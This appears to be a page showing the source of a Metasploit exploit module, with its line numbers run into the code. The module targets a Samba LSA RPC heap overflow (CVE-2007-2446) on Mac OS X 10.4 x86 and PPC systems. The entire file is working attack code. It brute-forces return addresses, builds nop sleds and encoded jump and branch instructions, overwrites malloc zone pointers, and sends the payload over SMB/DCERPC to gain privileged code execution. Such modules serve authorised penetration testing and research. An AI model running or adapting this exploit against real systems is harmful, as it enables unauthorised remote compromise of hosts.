Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/osx/samba/lsa_transnames_heap.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::SMB::Client10include Msf::Exploit::Brute1112def initialize(info = {})13super(update_info(info,14'Name' => 'Samba lsa_io_trans_names Heap Overflow',15'Description' => %q{16This module triggers a heap overflow in the LSA RPC service17of the Samba daemon. This module uses the szone_free() to overwrite18the size() or free() pointer in initial_malloc_zones structure.19},20'Author' =>21[22'Ramon de C Valle',23'Adriano Lima <adriano[at]risesecurity.org>',24'hdm'25],26'License' => MSF_LICENSE,27'References' =>28[29['CVE', '2007-2446'],30['OSVDB', '34699'],31],32'Privileged' => true,33'Payload' =>34{35'Space' => 1024,36},37'Platform' => 'osx',38'DefaultOptions' =>39{40'PrependSetresuid' => true,41},42'Targets' =>43[44['Mac OS X 10.4.x x86 Samba 3.0.10',45{46'Platform' => 'osx',47'Arch' => [ ARCH_X86 ],48'Nops' => 4 * 1024,49'Bruteforce' =>50{51'Start' => { 'Ret' => 0x01818000 },52'Stop' => { 'Ret' => 0x01830000 },53'Step' => 3351,54},55}56],57['Mac OS X 10.4.x PPC Samba 3.0.10',58{59'Platform' => 'osx',60'Arch' => [ ARCH_PPC ],61'Nops' => 1600,62'Bruteforce' =>63{64'Start' => { 'Ret' => 0x01813000 },65'Stop' => { 'Ret' => 0x01830000 },66'Step' => 796,67}68}69],70['DEBUG',71{72'Platform' => 'osx',73'Arch' => [ ARCH_X86 ],74'Nops' => 4 * 1024,75'Bruteforce' =>76{77'Start' => { 'Ret' => 0xaabbccdd },78'Stop' => { 'Ret' => 0xaabbccdd },79'Step' => 0,80}81}82],83],84'DisclosureDate' => '2007-05-14'85))8687register_options(88[89OptString.new('SMBPIPE', [ true, "The pipe name to use", 'LSARPC']),90])9192end9394# Handle a strange byteswapping issue on PPC95def ppc_byteswap(addr)96data = [addr].pack('N')97(data[1,1] + data[0,1] + data[3,1] + data[2,1]).unpack('N')[0]98end99100def brute_exploit(target_addrs)101102if(not @nops)103if (target['Nops'] > 0)104print_status("Creating nop sled....")105@nops = make_nops(target['Nops'])106else107@nops = ''108end109end110111print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])112113pipe = datastore['SMBPIPE'].downcase114115print_status("Connecting to the SMB service...")116connect()117smb_login()118119datastore['DCERPC::fake_bind_multi'] = false120121handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])122print_status("Binding to #{handle} ...")123dcerpc_bind(handle)124print_status("Bound to #{handle} ...")125126num_entries = 256127num_entries2 = 257128129#130# First talloc_chunk131# 16 bits align132# 16 bits sid_name_use133# 16 bits uni_str_len134# 16 bits uni_max_len135# 32 bits buffer136# 32 bits domain_idx137#138buf = (('A' * 16) * num_entries)139140# Padding141buf << 'A' * 4142143#144# Use the szone_free() to overwrite the size() pointer in145# initial_malloc_zones structure.146#147size_pointer = 0x1800008148149# Initial nops array150nops = ''151152# x86153if (target.arch.include?(ARCH_X86))154155#156# We don't use the size() pointer anymore because it157# results in a unexpected behavior when smbd process158# is started by launchd.159#160free_pointer = 0x1800018161nop = "\x16"162163#164# First talloc_chunk165# 16 bits align166# 16 bits sid_name_use167# 16 bits uni_str_len168# 16 bits uni_max_len169# 32 bits buffer170# 32 bits domain_idx171#172173# First nop block174buf = ((nop * 16) * num_entries)175176#177# A nop block of 0x16 (pushl %ss) and the address of178# 0x1800014 results in a jns instruction which when179# executed will jump over the address written eight180# bytes past our target address by szone_free() (the181# sign flag is zero at the moment our target address is182# executed).183#184# 0x357b ^ ( 0x1800014 ^ 0x16161616 ) = 0x17962379185#186# This is the output of the sequence of xor operations187# 0: 79 23 jns 0x25188# 2: 96 xchgl %eax,%esi189# 3: 17 popl %ss190# 4: 16 pushl %ss191# 5: 16 pushl %ss192# 6: 16 pushl %ss193# 7: 16 pushl %ss194# 8: 14 00 adcb $0x0,%al195# a: 80 01 16 addb $0x16,(%ecx)196#197# This jump is needed because the ecx register does not198# point to a valid memory location in free() context199# (it is zero).200#201# The jump will hit our nop block which will be executed202# until it reaches the payload.203#204205# Padding nops206buf << nop * 2207208# Jump over the pointers209buf << "\xeb\x08"210211# Pointers212buf << [target_addrs['Ret']].pack('V')213buf << [free_pointer - 4].pack('V')214215#216# We expect to hit this nop block or the one before217# the pointers.218#219buf << nop * (3852 - 8 - payload.encoded.length)220221# Payload222buf << payload.encoded223224# Padding nops225buf << nop * 1024226227stub = lsa_open_policy(dcerpc)228229stub << NDR.long(0) # num_entries230stub << NDR.long(0) # ptr_sid_enum231stub << NDR.long(num_entries) # num_entries232stub << NDR.long(0x20004) # ptr_trans_names233stub << NDR.long(num_entries2) # num_entries2234stub << buf235236# PPC237else238239#240# The first half of the nop sled is an XOR encoded branch241# instruction. The second half is a series of unencoded nop242# instructions. The result is:243#244# > This is the decoded branch instruction245# 0x181c380: bl 0x181c6a0246#247# > The size pointer is written below this248# 0x181c384: .long 0x1800004249#250# > Followed by the encoded branch sled251# 0x181c388: ba 0x180365c252# [ ... ]253#254# > The branch lands in the normal nop sled255# 0x181c6a0: andi. r17,r16,58162256# [ ... ]257#258# > Finally we reach our payload :-)259#260261size_pointer = size_pointer - 4262263sled = target['Nops']264jump = [ 0x357b ^ ( size_pointer ^ (0x48000001 + sled / 2 )) ].pack('N')265nops = (jump * (sled / 8)) + @nops[0, sled / 8]266267addr_size = ppc_byteswap(size_pointer)268addr_ret = ppc_byteswap(target_addrs['Ret'])269270# This oddness is required for PPC271buf << [addr_size].pack('N')272buf << [addr_ret ].pack('N')[2,2]273buf << [addr_ret ].pack('N')274275# Padding276buf << "A" * (256 - 10)277278stub = lsa_open_policy(dcerpc)279280stub << NDR.long(0) # num_entries281stub << NDR.long(0) # ptr_sid_enum282stub << NDR.long(num_entries) # num_entries283stub << NDR.long(0x20004) # ptr_trans_names284stub << NDR.long(num_entries2) # num_entries2285stub << buf286stub << nops287stub << payload.encoded288end289290print_status("Calling the vulnerable function...")291292begin293# LsarLookupSids294dcerpc.call(0x0f, stub)295rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError296print_status('Server did not respond, this is expected')297rescue Rex::Proto::DCERPC::Exceptions::Fault298print_error('Server is most likely patched...')299rescue => e300if e.to_s =~ /STATUS_PIPE_DISCONNECTED/301print_status('Server disconnected, this is expected')302else303print_error("Error: #{e.class}: #{e}")304end305end306307handler308disconnect309end310311def lsa_open_policy(dcerpc, server="\\")312313stubdata =314# Server315NDR.uwstring(server) +316# Object Attributes317NDR.long(24) + # SIZE318NDR.long(0) + # LSPTR319NDR.long(0) + # NAME320NDR.long(0) + # ATTRS321NDR.long(0) + # SEC DES322# LSA QOS PTR323NDR.long(1) + # Referent324NDR.long(12) + # Length325NDR.long(2) + # Impersonation326NDR.long(1) + # Context Tracking327NDR.long(0) + # Effective Only328# Access Mask329NDR.long(0x02000000)330331res = dcerpc.call(6, stubdata)332333dcerpc.last_response.stub_data[0,20]334end335end336337338